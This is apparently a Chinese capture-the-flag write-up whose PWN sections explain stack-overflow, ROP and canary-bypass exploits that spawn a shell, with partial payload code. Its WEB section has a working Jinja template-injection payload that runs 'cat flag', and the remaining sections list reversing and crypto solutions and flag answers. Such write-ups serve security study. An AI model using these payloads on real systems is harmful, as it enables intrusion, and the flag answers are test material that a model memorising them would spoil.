PWN
bypass
main 函数中输入格式不正确的时候会输出 puts 函数地址,泄露 libc 地址,输入长度为 4 内容为 \x00 的时候会进入 compare 函数
1 | __int64 __fastcall main(int a1, char **a2, char **a3) |
漏洞点在 compare 函数中,两次 read 都是向 buf 读取并且长度都是 0x200,第一次读取会复制到 KEY 中,第二次读取会复制到 VAL 中,而离 rbp 最近的 VAL 距离也超过 0x200,但是从 buf 复制的过程是遇 \x00 停止,所以可以从 buf 一直复制到 KEY,加起来就超过 0x200 了,但是在覆盖到 ret 的过程中还需要注意 rbp-2h 是复制的 index,要合理控制这个 i 让复制过程正确进行
1 | int compare() |
exp
1 | from pwn import * |
gender_simulation
菜单里就给了 libc 地址,这题直接测试发现在输入 2 2 之后再输入可以直接劫持程序流,有个后门是性别为购物袋,存在栈溢出漏洞,直接溢出写 rop 链执行 system(‘/bin/sh’)
1 | ssize_t gender(void) |
exp
1 | from pwn import * |
riya
输入 n 直接跳到 LABEL_10 送 shell
1 | void __fastcall main(__int64 a1, char **a2, char **a3) |
toys
这题只有一个栈溢出,还没什么 gadgets
1 | __int64 __fastcall main(__int64 a1, char **a2, char **a3) |
思路:
- 由于缺少 pop_rdi_ret 等 gadgets,而且程序中的 puts 输出的都是 rodata 段的数据,而 strlen_len 的参数是 rbp - 0x80,所以需要改 strlen_got 为 puts_plt 去泄露在 rbp - 0x80提前布置好的 libc 地址
- 修改 strlen_got 的方法是利用 fgets 向 rbp - 0x80 的位置写,修改 rbp 为 strlen_got + 0x80 再用 fgets 输入就能覆盖 strlen_got 为 puts_plt
- 直接把栈迁移到 got 表那块会覆盖到其他有用的地址,所以需要迁移到程序段高地址去写 rop 链,其中一次输入在 strlen_got + 0x80
exp分析:
1 | from pwn import * |
p = b'\x00' * 0x80 + p64(got_addr + 0x800) + p64(main)
=> rbp = got + 0x800
p = b'\x00' * 0x80 + p64(got_addr + 0x100) + p64(main) + p64(strlen_got + 0x80) + p64(main) + p64(strlen_got + 0x98) + p64(strlen) + p64(strlen_got + 0x700) + p64(main)
=> rbp = got + 0x100
1 | got + 0x800 : p64(got_addr + 0x100) p64(main) |
p = p64(0) + p64(got_addr + 0x820) + p64(leave_ret) + p64(0) + p64(got_addr + 0x830) + p64(leave_ret) p = p.ljust(0x80, b'\x00') + p64(got_addr + 0x810) + p64(leave_ret)
=> rbp = got + 0x810
1 | got + 0x80 : p64(0) p64(got_addr + 0x820) |
1 | got + 0x100 : p64(got_addr + 0x810) p64(leave_ret) |
接下来的程序流:
leave_ret 迁移到 got_addr + 0x818,执行 main
1
rbp : got + 0x100 => got + 0x810 => strlen_got + 0x80
两次 pop rbp 后 rbp 变成 strlen_got + 0x80
此时 fgets 就是向 rbp - 0x80 即 strlen_got 读,发送 p64(puts_plt) 即可改 strlen_got 为 puts_plt
1
2rbp : strlen_got + 0x80 = got + 0x88 => got_addr + 0x820 => strlen_got + 0x98 = got + 0xa0
ret : got + 0x90 => leave_retleave_ret 迁移到 rbp + 8 = got_addr + 0x828 => strlen,执行 main 中的 strlen,迁移时执行两次 pop rbp 使 rbp 变成 got + 0xa0
1
2rbp : got + 0xa0 => got_addr + 0x830
ret : got + 0xa8 => leave_ret所以 strlen 的一参是 rbp - 0x80 = got + 0x20 = setvbuf_got,而 strlen_got 已经被改成 puts_plt,相当于执行 puts 输出了 setvbuf_got,最后 ret 是 leave_ret
再次迁移到 rbp + 8 = got_addr + 0x838 = main,最后一次利用栈溢出写 rop 链执行 system(‘/bin/sh’)
rogue_like
本题有三次选择:
第一次选择一个武器,有三个选择,case 1 设置 libc 中任意 64 位地址为 0,case 2 写 libc 中任意地址一个 byte,case 3 泄露 /proc/self/maps 中的地址;
第二次选择一个祝福,case 1 会崩溃,case 2 和 case 3 功能 都是给任意地址加上 5 以内的值;
第三次选择一个挑战,case 1 溢出 0x10,case 2 输出 0x120 后输入 0xf0,无溢出,case 3 两次 read,一次刚好到 rbp,并且存在栈的 off-by-null
但是题目开了 canary,所以需要组合三次选择来绕过 canary 并且执行 rop
思路:第一次选 1,改 tls 中的 canary 为 0,第二次选 2,让 got 表中的 alarm + 5 得到 syscall,第三次选 3,程序中已经有 /bin/sh,再利用第二次 read 控制 rax 执行 syscall 即可
exp
1 | from pwn import * |
WEB
easy_flask
直接用hackbar生成的ssti的exp改改:{{g.pop.globals.builtins'import'.popen('cat flag').read()}}
MISC
简单算术
随波逐流穷举异或0-200在31找到flag:flag{x0r_Brute_is_easy!}
REVERSE
easy-asm
flag{dea54885-92b4-11ef-b153-3c0af33af908}
已知flag开头
当黑盒做 直接猜出排序规律 根据偶数位的大小排序 两两一组
1 | ida_chars1 = [ |
ezre
硬件断点调试
1 | ida_chars = [ |
ko0h
前面的东西全是fake seh跳到其他地方
简单魔改RC4+一个key改值
1 | def rc4_init(s, key, Len): |
CRYPTO
你是小哈斯?
依次解sha1
http://www.ttmd5.com/hash.php?type=5,flag{game_cqb_isis_cxyz}
通往哈希的旅程
cmd5.com在线解密:flag{18876011645}
funny_rsa
1 | from Crypto.Util.number import * |